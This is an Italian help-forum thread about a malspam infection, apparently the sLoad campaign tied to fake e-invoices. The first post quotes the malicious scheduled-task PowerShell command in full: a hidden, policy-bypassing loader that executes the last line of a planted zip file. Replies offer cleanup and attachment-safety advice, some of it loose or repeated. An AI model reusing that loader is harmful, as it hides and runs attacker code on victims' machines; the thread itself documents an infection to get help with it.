Powershell

[winoni71]

Buonasera, un'amica mi ha interpellato perchè da giorni, dopo che aveva aperto un allegato di una mail sospetta, ogni 5 minuti le compariva una finestra di "taskeng.exe" completamente nera.

Ho provato a controllare se ci fossero degli eventi pianificati strani e ne ho effettivamente trovato uno, che ho subito eliminato, che si attivava ogni 5 minuti e che aveva questa stringa powershell:
-ep byPass -w hi""DDen -c &{cd c:\users\;$j=dir -force -r -in aggior*.zip|select -last 1;$r2=cat -LiteralPat $j.fullname;$r2[$r2.length-1]|iex}

Sapete dirmi che cosa facesse esattamente?

Grazie.

[tallines]

Ciao, Cosa facesse, non lo so, ma se è uscita da una e-mail.............non credo che facesse del bene, anzi.........

Hai fatto bene a eliminarla .

Bisogna fare attenzione, quando si aprono le e-mail .

Se il problema continua, io salverei i dati e reinstallerei il SO da zero .

Volendo si possono fare degli scan antivirus e anti-malware .

Visto che hai W7, anche con Combofix, da provvisoria .

[winoni71]

.Volendo si possono fare degli scan antivirus e anti-malware .
Fatto sia con MSE che Malawarebytes, zero rilevazioni.

[tallines]

Fatto sia con MSE che Malawarebytes, zero rilevazioni.
Allora sei a posto .

Però un giro con Combofix e con AdwCleaner, io lo farei :)

[Dane]

potrebbe essere più o meno questo:

https://blog.yoroi.company/research/the-sload-powershell-threat-is-expanding-to-italy/

[winoni71]

potrebbe essere più o meno questo:

https://blog.yoroi.company/research/the-sload-powershell-threat-is-expanding-to-italy/

Si, è esattamente quello, la mail era proprio relativa ad una (falsa) fattura elettronica.

[Matteo_76]

In https://www.cert-pa.it/notizie/campagna-di-malspam-basata-sullo-script-sload/ - Computer Emergency Response Team Pubblica Amministrazione (CERT-PA) all'interno di AgID - la traduzione in italiano. Se in passato era utilizzato per diffondere malware come Ramnit banker forse adesso viene utilizzato per diffonderne di nuovi!
Come giustamente ha detto tallines bisogna stare attentissimi allemail. Sopratutto non aprire allegati sospetti e, per me, essendo windows per sicurezza acquistare un buon antivirus.

[Eress]

Di questi tempi, mai aprire allegati se non da utenti sicuri al 100%. Ma la regola sarebbe di non aprirli mai.

[winoni71]

Ma la regola sarebbe di non aprirli mai.

In che senso "non aprirli mai"?

[tallines]

In che senso "non aprirli mai"?
Come apri la posta, cosa usi per la posta ?

[winoni71]

Come apri la posta, cosa usi per la posta ?
Io personalmente uso Outlook (il programma).
La persona che ha ricevuto la mail in questione usa Outlook (il sito).

[tallines]

Io personalmente uso Outlook (il programma).
La persona che ha ricevuto la mail in questione usa Outlook (il sito).
Ottimo >

Eudora e Microsoft Outlook sono tra i provider di posta elettronica popolari che permettono di leggere una e-mail senza aprirla.
(Eudora e Microsoft Outlook sono tra i provider di posta elettronica popolari che permettono di leggere una e-mail senza aprirla.)